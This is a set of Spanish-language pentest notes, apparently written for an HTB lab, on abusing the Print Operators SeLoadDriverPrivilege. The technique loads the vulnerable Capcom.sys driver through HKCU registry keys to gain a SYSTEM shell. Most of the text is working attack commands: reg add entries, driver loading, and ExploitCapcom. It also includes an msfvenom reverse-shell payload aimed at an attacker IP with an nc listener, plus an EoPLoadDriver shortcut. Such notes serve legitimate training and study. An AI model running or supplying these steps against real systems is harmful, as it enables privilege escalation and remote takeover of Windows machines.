Print Operators

Recursos

• Print Operators

---

Tools

• UACMe

---

Capcom.sys

Descargar EnableSeLoadDriverPrivilege y agrarle las siguientes líneas arriba de todo

#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h"

Compilar with cl.exe

cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp

Descargar Capcom.sys

Agregar una referencia a este driver en HKEY_CURRENT_USER

reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1

Verificar con DriverView que el driver Capcom.sys no está cargado

.\DriverView.exe /stext drivers.txt
cat drivers.txt | Select-String -pattern Capcom

Ejecutar el binario EnableSeLoadDriverPrivilege desde cmd.exe como administrador

C:\htb> EnableSeLoadDriverPrivilege.exe

Verificar que el driver de Capcom está listado

.\DriverView.exe /stext drivers.txt
cat drivers.txt | Select-String -pattern Capcom

Compilar ExploitCapcom con VIsual Studio y explotar la vulnerabilidad

.\ExploitCapcom.exe

Se abre una shell con privilegios SYSTEM

---

Explotación alternativa sin GUI

Crear reverse shell con msfvenom

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.227 LPORT=1111 -f exe > revshell.exe

Editar el archivo ExploitCapcom.cpp en la línea

TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");

Ponerse en escucha en la máquina atacante

nc -lnvp 1111

Si la reverse shell no funciona probar una bind shell or exec/add user payload

---

Automatización con EopLoadDriver

EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys

Ejecutar ExploitCapcom.exe para abrir una shell con privilegios SYSTEM, obtener una reverse shell o ejecutar otros comandos

---

Limpieza

Eliminar la clave de registro

reg delete HKCU\System\CurrentControlSet\Capcom

Desde Windows 10 versión 1803, "SeLoadDriverPrivilege" no se puede explotar, ya que ya no es posible incluir referencias a claves de registro en HKEY_CURRENT_USER